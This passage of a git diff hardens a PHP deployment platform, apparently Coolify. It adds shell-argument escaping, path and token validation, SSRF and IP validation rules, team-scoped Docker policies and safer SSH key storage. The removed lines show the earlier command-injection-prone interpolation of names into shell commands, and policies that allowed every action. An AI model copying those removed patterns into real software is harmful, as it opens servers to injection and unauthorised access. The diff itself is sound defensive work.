App\Events\FileStorageChanged; +use App\Jobs\ServerStorageSaveJob; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Symfony\Component\Yaml\Yaml; @@ -14,6 +15,7 @@ class LocalFileVolume extends BaseModel // 'mount_path' => 'encrypted', 'content' => 'encrypted', 'is_directory' => 'boolean', + 'is_preview_suffix_enabled' => 'boolean', ]; use HasFactory; @@ -26,7 +28,7 @@ protected static function booted() { static::created(function (LocalFileVolume $fileVolume) { $fileVolume->load(['service']); - dispatch(new \App\Jobs\ServerStorageSaveJob($fileVolume)); + dispatch(new ServerStorageSaveJob($fileVolume)); }); } @@ -128,15 +130,22 @@ public function saveStorageOnServer() $server = $this->resource->destination->server; } $commands = collect([]); + + // Validate fs_path early before any shell interpolation + validateShellSafePath($this->fs_path, 'storage path'); + $escapedFsPath = escapeshellarg($this->fs_path); + $escapedWorkdir = escapeshellarg($workdir); + if ($this->is_directory) { - $commands->push("mkdir -p $this->fs_path > /dev/null 2>&1 || true"); - $commands->push("mkdir -p $workdir > /dev/null 2>&1 || true"); - $commands->push("cd $workdir"); + $commands->push("mkdir -p {$escapedFsPath} > /dev/null 2>&1 || true"); + $commands->push("mkdir -p {$escapedWorkdir} > /dev/null 2>&1 || true"); + $commands->push("cd {$escapedWorkdir}"); } if (str($this->fs_path)->startsWith('.') || str($this->fs_path)->startsWith('/') || str($this->fs_path)->startsWith('~')) { $parent_dir = str($this->fs_path)->beforeLast('/'); if ($parent_dir != '') { - $commands->push("mkdir -p $parent_dir > /dev/null 2>&1 || true"); + $escapedParentDir = escapeshellarg($parent_dir); + $commands->push("mkdir -p {$escapedParentDir} > /dev/null 2>&1 || true"); } } $path = data_get_str($this, 'fs_path'); @@ -146,7 +155,7 @@ public function saveStorageOnServer() $path = $workdir.$path; } - // Validate and escape path to prevent command injection + // Validate and escape resolved path (may differ from fs_path if relative) validateShellSafePath($path, 'storage path'); $escapedPath = escapeshellarg($path); diff --git a/app/Models/LocalPersistentVolume.php b/app/Models/LocalPersistentVolume.php index 7126253ea..9d539f8ec 100644 --- a/app/Models/LocalPersistentVolume.php +++ b/app/Models/LocalPersistentVolume.php @@ -3,13 +3,16 @@ namespace App\Models; use Illuminate\Database\Eloquent\Casts\Attribute; -use Illuminate\Database\Eloquent\Model; use Symfony\Component\Yaml\Yaml; -class LocalPersistentVolume extends Model +class LocalPersistentVolume extends BaseModel { protected $guarded = []; + protected $casts = [ + 'is_preview_suffix_enabled' => 'boolean', + ]; + public function resource() { return $this->morphTo('resource'); diff --git a/app/Models/PrivateKey.php b/app/Models/PrivateKey.php index bb76d5ed6..1521678f3 100644 --- a/app/Models/PrivateKey.php +++ b/app/Models/PrivateKey.php @@ -5,6 +5,7 @@ use App\Traits\HasSafeStringAttribute; use DanHarrin\LivewireRateLimiting\WithRateLimiting; use Illuminate\Support\Facades\DB; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; use Illuminate\Validation\ValidationException; use OpenApi\Attributes as OA; @@ -65,6 +66,20 @@ protected static function booted() } }); + static::saved(function ($key) { + if ($key->wasChanged('private_key')) { + try { + $key->storeInFileSystem(); + refresh_server_connection($key); + } catch (\Exception $e) { + Log::error('Failed to resync SSH key after update', [ + 'key_uuid' => $key->uuid, + 'error' => $e->getMessage(), + ]); + } + } + }); + static::deleted(function ($key) { self::deleteFromStorage($key); }); @@ -185,29 +200,54 @@ public function storeInFileSystem() { $filename = "ssh_key@{$this->uuid}"; $disk = Storage::disk('ssh-keys'); + $keyLocation = $this->getKeyLocation(); + $lockFile = $keyLocation.'.lock'; // Ensure the storage directory exists and is writable $this->ensureStorageDirectoryExists(); - // Attempt to store the private key - $success = $disk->put($filename, $this->private_key); - - if (! $success) { - throw new \Exception("Failed to write SSH key to filesystem. Check disk space and permissions for: {$this->getKeyLocation()}"); + // Use file locking to prevent concurrent writes from corrupting the key + $lockHandle = fopen($lockFile, 'c'); + if ($lockHandle === false) { + throw new \Exception("Failed to open lock file for SSH key: {$lockFile}"); } - // Verify the file was actually created and has content - if (! $disk->exists($filename)) { - throw new \Exception("SSH key file was not created: {$this->getKeyLocation()}"); - } + try { + if (! flock($lockHandle, LOCK_EX)) { + throw new \Exception("Failed to acquire lock for SSH key: {$keyLocation}"); + } - $storedContent = $disk->get($filename); - if (empty($storedContent) || $storedContent !== $this->private_key) { - $disk->delete($filename); // Clean up the bad file - throw new \Exception("SSH key file content verification failed: {$this->getKeyLocation()}"); - } + // Attempt to store the private key + $success = $disk->put($filename, $this->private_key); - return $this->getKeyLocation(); + if (! $success) { + throw new \Exception("Failed to write SSH key to filesystem. Check disk space and permissions for: {$keyLocation}"); + } + + // Verify the file was actually created and has content + if (! $disk->exists($filename)) { + throw new \Exception("SSH key file was not created: {$keyLocation}"); + } + + $storedContent = $disk->get($filename); + if (empty($storedContent) || $storedContent !== $this->private_key) { + $disk->delete($filename); // Clean up the bad file + throw new \Exception("SSH key file content verification failed: {$keyLocation}"); + } + + // Ensure correct permissions for SSH (0600 required) + if (file_exists($keyLocation) && ! chmod($keyLocation, 0600)) { + Log::warning('Failed to set SSH key file permissions to 0600', [ + 'key_uuid' => $this->uuid, + 'path' => $keyLocation, + ]); + } + + return $keyLocation; + } finally { + flock($lockHandle, LOCK_UN); + fclose($lockHandle); + } } public static function deleteFromStorage(self $privateKey) @@ -237,7 +277,7 @@ protected function ensureStorageDirectoryExists() $testSuccess = $disk->put($testFilename, 'test'); if (! $testSuccess) { - throw new \Exception('SSH keys storage directory is not writable'); + throw new \Exception('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify'); } // Clean up test file @@ -254,12 +294,6 @@ public function updatePrivateKey(array $data) return DB::transaction(function () use ($data) { $this->update($data); - try { - $this->storeInFileSystem(); - } catch (\Exception $e) { - throw new \Exception('Failed to update SSH key: '.$e->getMessage()); - } - return $this; }); } diff --git a/app/Models/Project.php b/app/Models/Project.php index 181951f14..ed1b415c1 100644 --- a/app/Models/Project.php +++ b/app/Models/Project.php @@ -4,6 +4,7 @@ use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Factories\HasFactory; use OpenApi\Attributes as OA; use Visus\Cuid2\Cuid2; @@ -20,6 +21,7 @@ class Project extends BaseModel { use ClearsGlobalSearchCache; + use HasFactory; use HasSafeStringAttribute; protected $guarded = []; diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index 3aae55966..f395a065c 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -40,6 +40,13 @@ protected static function boot(): void $storage->secret = trim($storage->secret); } }); + + static::deleting(function (S3Storage $storage) { + ScheduledDatabaseBackup::where('s3_storage_id', $storage->id)->update([ + 'save_s3' => false, + 's3_storage_id' => null, + ]); + }); } public static function ownedByCurrentTeam(array $select = ['*']) @@ -59,6 +66,11 @@ public function team() return $this->belongsTo(Team::class); } + public function scheduledBackups() + { + return $this->hasMany(ScheduledDatabaseBackup::class, 's3_storage_id'); + } + public function awsUrl() { return "{$this->endpoint}/{$this->bucket}"; diff --git a/app/Models/ScheduledTask.php b/app/Models/ScheduledTask.php index 272638a81..e771ce31e 100644 --- a/app/Models/ScheduledTask.php +++ b/app/Models/ScheduledTask.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasOne; use OpenApi\Attributes as OA; @@ -25,6 +26,7 @@ )] class ScheduledTask extends BaseModel { + use HasFactory; use HasSafeStringAttribute; protected $guarded = []; diff --git a/app/Models/Server.php b/app/Models/Server.php index d693aea6d..9237763c8 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -11,7 +11,9 @@ use App\Events\ServerReachabilityChanged; use App\Helpers\SslHelper; use App\Jobs\CheckAndStartSentinelJob; +use App\Jobs\CheckTraefikVersionForServerJob; use App\Jobs\RegenerateSslCertJob; +use App\Livewire\Server\Proxy; use App\Notifications\Server\Reachable; use App\Notifications\Server\Unreachable; use App\Services\ConfigurationRepository; @@ -25,6 +27,7 @@ use Illuminate\Support\Carbon; use Illuminate\Support\Collection; use Illuminate\Support\Facades\DB; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; use Illuminate\Support\Stringable; use OpenApi\Attributes as OA; @@ -76,8 +79,8 @@ * - Traefik image uses the 'latest' tag (no fixed version tracking) * - No Traefik version detected on the server * - * @see \App\Jobs\CheckTraefikVersionForServerJob Where this data is populated - * @see \App\Livewire\Server\Proxy Where this data is read and displayed + * @see CheckTraefikVersionForServerJob Where this data is populated + * @see Proxy Where this data is read and displayed */ #[OA\Schema( description: 'Server model', @@ -134,7 +137,7 @@ protected static function booted() $server->forceFill($payload); }); static::saved(function ($server) { - if ($server->privateKey?->isDirty()) { + if ($server->wasChanged('private_key_id') || $server->privateKey?->isDirty()) { refresh_server_connection($server->privateKey); } }); @@ -231,6 +234,7 @@ public static function flushIdentityMap(): void protected $casts = [ 'proxy' => SchemalessAttributes::class, 'traefik_outdated_info' => 'array', + 'server_metadata' => 'array', 'logdrain_axiom_api_key' => 'encrypted', 'logdrain_newrelic_license_key' => 'encrypted', 'delete_unused_volumes' => 'boolean', @@ -258,6 +262,7 @@ public static function flushIdentityMap(): void 'is_validating', 'detected_traefik_version', 'traefik_outdated_info', + 'server_metadata', ]; protected $guarded = []; @@ -716,17 +721,17 @@ public function definedResources() public function stopUnmanaged($id) { - return instant_remote_process(["docker stop -t 0 $id"], $this); + return instant_remote_process(['docker stop -t 0 '.escapeshellarg($id)], $this); } public function restartUnmanaged($id) { - return instant_remote_process(["docker restart $id"], $this); + return instant_remote_process(['docker restart '.escapeshellarg($id)], $this); } public function startUnmanaged($id) { - return instant_remote_process(["docker start $id"], $this); + return instant_remote_process(['docker start '.escapeshellarg($id)], $this); } public function getContainers() @@ -913,6 +918,9 @@ public function port(): Attribute return Attribute::make( get: function ($value) { return (int) preg_replace('/[^0-9]/', '', $value); + }, + set: function ($value) { + return (int) preg_replace('/[^0-9]/', '', (string) $value); } ); } @@ -922,6 +930,9 @@ public function user(): Attribute return Attribute::make( get: function ($value) { return preg_replace('/[^A-Za-z0-9\-_]/', '', $value); + }, + set: function ($value) { + return preg_replace('/[^A-Za-z0-9\-_]/', '', $value); } ); } @@ -931,6 +942,9 @@ public function ip(): Attribute return Attribute::make( get: function ($value) { return preg_replace('/[^0-9a-zA-Z.:%-]/', '', $value); + }, + set: function ($value) { + return preg_replace('/[^0-9a-zA-Z.:%-]/', '', $value); } ); } @@ -1065,6 +1079,55 @@ public function validateOS(): bool|Stringable } } + public function gatherServerMetadata(): ?array + { + if (! $this->isFunctional()) { + return null; + } + + try { + $output = instant_remote_process([ + 'echo "---PRETTY_NAME---" && grep PRETTY_NAME /etc/os-release | cut -d= -f2 | tr -d \'"\' && echo "---ARCH---" && uname -m && echo "---KERNEL---" && uname -r && echo "---CPUS---" && nproc && echo "---MEMORY---" && free -b | awk \'/Mem:/{print $2}\' && echo "---UPTIME_SINCE---" && uptime -s', + ], $this, false); + + if (! $output) { + return null; + } + + $sections = []; + $currentKey = null; + foreach (explode("\n", trim($output)) as $line) { + $line = trim($line); + if (preg_match('/^---(\w+)---$/', $line, $m)) { + $currentKey = $m[1]; + } elseif ($currentKey) { + $sections[$currentKey] = $line; + } + } + + $metadata = [ + 'os' => $sections['PRETTY_NAME'] ?? 'Unknown', + 'arch' => $sections['ARCH'] ?? 'Unknown', + 'kernel' => $sections['KERNEL'] ?? 'Unknown', + 'cpus' => (int) ($sections['CPUS'] ?? 0), + 'memory_bytes' => (int) ($sections['MEMORY'] ?? 0), + 'uptime_since' => $sections['UPTIME_SINCE'] ?? null, + 'collected_at' => now()->toIso8601String(), + ]; + + $this->update(['server_metadata' => $metadata]); + + return $metadata; + } catch (\Throwable $e) { + Log::debug('Failed to gather server metadata', [ + 'server_id' => $this->id, + 'error' => $e->getMessage(), + ]); + + return null; + } + } + public function isTerminalEnabled() { return $this->settings->is_terminal_enabled ?? false; @@ -1399,7 +1462,7 @@ public function url() public function restartContainer(string $containerName) { - return instant_remote_process(['docker restart '.$containerName], $this, false); + return instant_remote_process(['docker restart '.escapeshellarg($containerName)], $this, false); } public function changeProxy(string $proxyType, bool $async = true) @@ -1410,6 +1473,9 @@ public function changeProxy(string $proxyType, bool $async = true) if ($validProxyTypes->contains(str($proxyType)->lower())) { $this->proxy->set('type', str($proxyType)->upper()); $this->proxy->set('status', 'exited'); + $this->proxy->set('last_saved_proxy_configuration', null); + $this->proxy->set('last_saved_settings', null); + $this->proxy->set('last_applied_settings', null); $this->save(); if ($this->proxySet()) { if ($async) { @@ -1452,12 +1518,14 @@ public function generateCaCertificate() $certificateContent = $caCertificate->ssl_certificate; $caCertPath = config('constants.coolify.base_config_path').'/ssl/'; + $base64Cert = base64_encode($certificateContent); + $commands = collect([ "mkdir -p $caCertPath", "chown -R 9999:root $caCertPath", "chmod -R 700 $caCertPath", "rm -rf $caCertPath/coolify-ca.crt", - "echo '{$certificateContent}' > $caCertPath/coolify-ca.crt", + "echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null", "chmod 644 $caCertPath/coolify-ca.crt", ]); diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index 0ad0fcf84..504cfa60a 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -92,6 +92,15 @@ protected static function booted() }); } + /** + * Validate that a sentinel token contains only safe characters. + * Prevents OS command injection when the token is interpolated into shell commands. + */ + public static function isValidSentinelToken(string $token): bool + { + return (bool) preg_match('/\A[a-zA-Z0-9._\-+=\/]+\z/', $token); + } + public function generateSentinelToken(bool $save = true, bool $ignoreEvent = false) { $data = [ diff --git a/app/Models/ServiceDatabase.php b/app/Models/ServiceDatabase.php index 7b0abe59e..c6a0143a8 100644 --- a/app/Models/ServiceDatabase.php +++ b/app/Models/ServiceDatabase.php @@ -11,6 +11,10 @@ class ServiceDatabase extends BaseModel protected $guarded = []; + protected $casts = [ + 'public_port_timeout' => 'integer', + ]; + protected static function booted() { static::deleting(function ($service) { diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php index 7956f006a..9bd42c328 100644 --- a/app/Models/SharedEnvironmentVariable.php +++ b/app/Models/SharedEnvironmentVariable.php @@ -6,7 +6,23 @@ class SharedEnvironmentVariable extends Model { - protected $guarded = []; + protected $fillable = [ + // Core identification + 'key', + 'value', + 'comment', + + // Type and relationships + 'type', + 'team_id', + 'project_id', + 'environment_id', + + // Boolean flags + 'is_multiline', + 'is_literal', + 'is_shown_once', + ]; protected $casts = [ 'key' => 'string', diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index 86323db8c..143aadb6a 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -19,6 +19,7 @@ class StandaloneClickhouse extends BaseModel protected $casts = [ 'clickhouse_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', @@ -134,7 +135,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneDocker.php b/app/Models/StandaloneDocker.php index 62ef68434..0407c2255 100644 --- a/app/Models/StandaloneDocker.php +++ b/app/Models/StandaloneDocker.php @@ -4,9 +4,11 @@ use App\Jobs\ConnectProxyToNetworksJob; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Factories\HasFactory; class StandaloneDocker extends BaseModel { + use HasFactory; use HasSafeStringAttribute; protected $guarded = []; diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index 4db7866b7..c823c305b 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -19,6 +19,7 @@ class StandaloneDragonfly extends BaseModel protected $casts = [ 'dragonfly_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', @@ -134,7 +135,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index f23499608..f286e8538 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -19,6 +19,7 @@ class StandaloneKeydb extends BaseModel protected $casts = [ 'keydb_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', @@ -134,7 +135,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index e7ba75b67..efa62353c 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -20,6 +20,7 @@ class StandaloneMariadb extends BaseModel protected $casts = [ 'mariadb_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', @@ -135,7 +136,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index d6de5874c..9418ebc21 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -18,6 +18,7 @@ class StandaloneMongodb extends BaseModel protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', @@ -140,7 +141,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index 98a5cab77..2b7e9f2b6 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -20,6 +20,7 @@ class StandaloneMysql extends BaseModel protected $casts = [ 'mysql_password' => 'encrypted', 'mysql_root_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', @@ -135,7 +136,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index 5d35f335b..cea600236 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -20,6 +20,7 @@ class StandalonePostgresql extends BaseModel protected $casts = [ 'init_scripts' => 'array', 'postgres_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', @@ -113,7 +114,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index e906bbb81..0e904ab31 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -18,6 +18,7 @@ class StandaloneRedis extends BaseModel protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', @@ -139,7 +140,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/Subscription.php b/app/Models/Subscription.php index 1bd84a664..69d7cbf0d 100644 --- a/app/Models/Subscription.php +++ b/app/Models/Subscription.php @@ -8,11 +8,32 @@ class Subscription extends Model { protected $guarded = []; + protected function casts(): array + { + return [ + 'stripe_refunded_at' => 'datetime', + ]; + } + public function team() { return $this->belongsTo(Team::class); } + public function billingInterval(): string + { + if ($this->stripe_plan_id) { + $configKey = collect(config('subscription')) + ->search($this->stripe_plan_id); + + if ($configKey && str($configKey)->contains('yearly')) { + return 'yearly'; + } + } + + return 'monthly'; + } + public function type() { if (isStripe()) { diff --git a/app/Models/Team.php b/app/Models/Team.php index e32526169..5a7b377b6 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -89,10 +89,13 @@ protected static function booted() }); } - public static function serverLimitReached() + public static function serverLimitReached(?Team $team = null) { - $serverLimit = Team::serverLimit(); - $team = currentTeam(); + $team = $team ?? currentTeam(); + if (! $team) { + return true; + } + $serverLimit = Team::serverLimit($team); $servers = $team->servers->count(); return $servers >= $serverLimit; @@ -109,19 +112,23 @@ public function subscriptionPastOverDue() public function serverOverflow() { - if ($this->serverLimit() < $this->servers->count()) { + if (Team::serverLimit($this) < $this->servers->count()) { return true; } return false; } - public static function serverLimit() + public static function serverLimit(?Team $team = null) { - if (currentTeam()->id === 0 && isDev()) { + $team = $team ?? currentTeam(); + if (! $team) { + return 0; + } + if ($team->id === 0 && isDev()) { return 9999999; } - $team = Team::find(currentTeam()->id); + $team = Team::find($team->id); if (! $team) { return 0; } @@ -197,6 +204,10 @@ public function isAnyNotificationEnabled() public function subscriptionEnded() { + if (! $this->subscription) { + return; + } + $this->subscription->update([ 'stripe_subscription_id' => null, 'stripe_cancel_at_period_end' => false, diff --git a/app/Policies/StandaloneDockerPolicy.php b/app/Policies/StandaloneDockerPolicy.php index 154648599..3e1f83d12 100644 --- a/app/Policies/StandaloneDockerPolicy.php +++ b/app/Policies/StandaloneDockerPolicy.php @@ -37,8 +37,7 @@ public function create(User $user): bool */ public function update(User $user, StandaloneDocker $standaloneDocker): bool { - // return $user->isAdmin() && $user->teams->contains('id', $standaloneDocker->server->team_id); - return true; + return $user->teams->contains('id', $standaloneDocker->server->team_id); } /** @@ -46,8 +45,7 @@ public function update(User $user, StandaloneDocker $standaloneDocker): bool */ public function delete(User $user, StandaloneDocker $standaloneDocker): bool { - // return $user->isAdmin() && $user->teams->contains('id', $standaloneDocker->server->team_id); - return true; + return $user->teams->contains('id', $standaloneDocker->server->team_id); } /** @@ -55,8 +53,7 @@ public function delete(User $user, StandaloneDocker $standaloneDocker): bool */ public function restore(User $user, StandaloneDocker $standaloneDocker): bool { - // return false; - return true; + return false; } /** @@ -64,7 +61,6 @@ public function restore(User $user, StandaloneDocker $standaloneDocker): bool */ public function forceDelete(User $user, StandaloneDocker $standaloneDocker): bool { - // return false; - return true; + return false; } } diff --git a/app/Policies/SwarmDockerPolicy.php b/app/Policies/SwarmDockerPolicy.php index 979bb5889..82a75910b 100644 --- a/app/Policies/SwarmDockerPolicy.php +++ b/app/Policies/SwarmDockerPolicy.php @@ -37,8 +37,7 @@ public function create(User $user): bool */ public function update(User $user, SwarmDocker $swarmDocker): bool { - // return $user->isAdmin() && $user->teams->contains('id', $swarmDocker->server->team_id); - return true; + return $user->teams->contains('id', $swarmDocker->server->team_id); } /** @@ -46,8 +45,7 @@ public function update(User $user, SwarmDocker $swarmDocker): bool */ public function delete(User $user, SwarmDocker $swarmDocker): bool { - // return $user->isAdmin() && $user->teams->contains('id', $swarmDocker->server->team_id); - return true; + return $user->teams->contains('id', $swarmDocker->server->team_id); } /** @@ -55,8 +53,7 @@ public function delete(User $user, SwarmDocker $swarmDocker): bool */ public function restore(User $user, SwarmDocker $swarmDocker): bool { - // return false; - return true; + return false; } /** @@ -64,7 +61,6 @@ public function restore(User $user, SwarmDocker $swarmDocker): bool */ public function forceDelete(User $user, SwarmDocker $swarmDocker): bool { - // return false; - return true; + return false; } } diff --git a/app/Rules/SafeExternalUrl.php b/app/Rules/SafeExternalUrl.php new file mode 100644 index 000000000..41299d6c1 --- /dev/null +++ b/app/Rules/SafeExternalUrl.php @@ -0,0 +1,81 @@ + $attribute, + 'url' => $value, + 'host' => $host, + 'ip' => request()->ip(), + 'user_id' => auth()->id(), + ]); + $fail('The :attribute must not point to internal hosts.'); + + return; + } + + // Resolve hostname to IP and block private/reserved ranges + $ip = gethostbyname($host); + + // gethostbyname returns the original hostname on failure (e.g. unresolvable) + if ($ip === $host && ! filter_var($host, FILTER_VALIDATE_IP)) { + $fail('The :attribute host could not be resolved.'); + + return; + } + + if (! filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + Log::warning('External URL resolves to private or reserved IP', [ + 'attribute' => $attribute, + 'url' => $value, + 'host' => $host, + 'resolved_ip' => $ip, + 'ip' => request()->ip(), + 'user_id' => auth()->id(), + ]); + $fail('The :attribute must not point to a private or reserved IP address.'); + + return; + } + } +} diff --git a/app/Rules/ValidHostname.php b/app/Rules/ValidHostname.php index b6b2b8d32..89b68663b 100644 --- a/app/Rules/ValidHostname.php +++ b/app/Rules/ValidHostname.php @@ -62,12 +62,15 @@ public function validate(string $attribute, mixed $value, Closure $fail): void // Ignore errors when facades are not available (e.g., in unit tests) } - $fail('The :attribute contains invalid characters. Only lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.) are allowed.'); + $fail('The :attribute contains invalid characters. Only letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.) are allowed.'); return; } } + // Normalize to lowercase for validation (RFC 1123 hostnames are case-insensitive) + $hostname = strtolower($hostname); + // Additional validation: hostname should not start or end with a dot if (str_starts_with($hostname, '.') || str_ends_with($hostname, '.')) { $fail('The :attribute cannot start or end with a dot.'); @@ -100,9 +103,9 @@ public function validate(string $attribute, mixed $value, Closure $fail): void return; } - // Check if label contains only valid characters (lowercase letters, digits, hyphens) + // Check if label contains only valid characters (letters, digits, hyphens) if (! preg_match('/^[a-z0-9-]+$/', $label)) { - $fail('The :attribute contains invalid characters. Only lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.) are allowed.'); + $fail('The :attribute contains invalid characters. Only letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.) are allowed.'); return; } diff --git a/app/Rules/ValidIpOrCidr.php b/app/Rules/ValidIpOrCidr.php index e172ffd1a..bd0bd2296 100644 --- a/app/Rules/ValidIpOrCidr.php +++ b/app/Rules/ValidIpOrCidr.php @@ -45,7 +45,10 @@ public function validate(string $attribute, mixed $value, Closure $fail): void [$ip, $mask] = $parts; - if (! filter_var($ip, FILTER_VALIDATE_IP) || ! is_numeric($mask) || $mask < 0 || $mask > 32) { + $isIpv6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $maxMask = $isIpv6 ? 128 : 32; + + if (! filter_var($ip, FILTER_VALIDATE_IP) || ! is_numeric($mask) || $mask < 0 || $mask > $maxMask) { $invalidEntries[] = $entry; } } else { diff --git a/app/Rules/ValidServerIp.php b/app/Rules/ValidServerIp.php new file mode 100644 index 000000000..270ff1c34 --- /dev/null +++ b/app/Rules/ValidServerIp.php @@ -0,0 +1,40 @@ +validate($attribute, $trimmed, function () use (&$failed) { + $failed = true; + }); + + if ($failed) { + $fail('The :attribute must be a valid IPv4 address, IPv6 address, or hostname.'); + } + } +} diff --git a/app/Services/ContainerStatusAggregator.php b/app/Services/ContainerStatusAggregator.php index 2be36d905..8859a9980 100644 --- a/app/Services/ContainerStatusAggregator.php +++ b/app/Services/ContainerStatusAggregator.php @@ -54,13 +54,6 @@ public function aggregateFromStrings(Collection $containerStatuses, int $maxRest $maxRestartCount = 0; } - if ($maxRestartCount > 1000) { - Log::warning('High maxRestartCount detected', [ - 'maxRestartCount' => $maxRestartCount, - 'containers' => $containerStatuses->count(), - ]); - } - if ($containerStatuses->isEmpty()) { return 'exited'; } @@ -138,13 +131,6 @@ public function aggregateFromContainers(Collection $containers, int $maxRestartC $maxRestartCount = 0; } - if ($maxRestartCount > 1000) { - Log::warning('High maxRestartCount detected', [ - 'maxRestartCount' => $maxRestartCount, - 'containers' => $containers->count(), - ]); - } - if ($containers->isEmpty()) { return 'exited'; } diff --git a/app/Services/SchedulerLogParser.php b/app/Services/SchedulerLogParser.php index a735a11c3..6e29851df 100644 --- a/app/Services/SchedulerLogParser.php +++ b/app/Services/SchedulerLogParser.php @@ -64,7 +64,7 @@ public function getRecentRuns(int $limit = 60, ?int $teamId = null): Collection continue; } - if (! str_contains($entry['message'], 'ScheduledJobManager')) { + if (! 